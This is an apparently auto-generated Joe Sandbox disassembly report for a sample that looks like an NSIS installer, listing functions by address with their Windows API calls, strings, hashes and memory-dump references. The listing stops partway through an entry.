API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
